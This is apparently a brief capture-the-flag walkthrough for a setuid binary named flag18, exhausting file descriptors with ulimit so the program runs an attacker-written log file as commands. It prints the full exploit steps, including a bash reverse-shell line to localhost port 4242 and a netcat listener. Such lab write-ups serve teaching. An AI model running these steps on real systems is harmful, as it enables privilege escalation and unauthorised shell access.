# Create the log file so we have ownership.
touch /tmp/log.txt
# Limit the number of file-descriptors opened by a program to 5.
ulimit -n 5
# Run the program and provide the following commands.
/home/flag18/flag18 --rcfile -d /tmp/log.txt < input.txt
login
login
closelog
Go to a different shell for level18, and clear the log.txt file but add the command needed for a remote shell. After that, launch a listener or the remote shell.
echo "id" > /tmp/log.txt
echo "sh -i >& /dev/tcp/127.0.0.1/4242 0>&1" >> /tmp/log.txt
nc -ln 127.0.0.1 4242
Return to the previous shell and execute the shell command.
shell
You should now have access to the shell as flag18.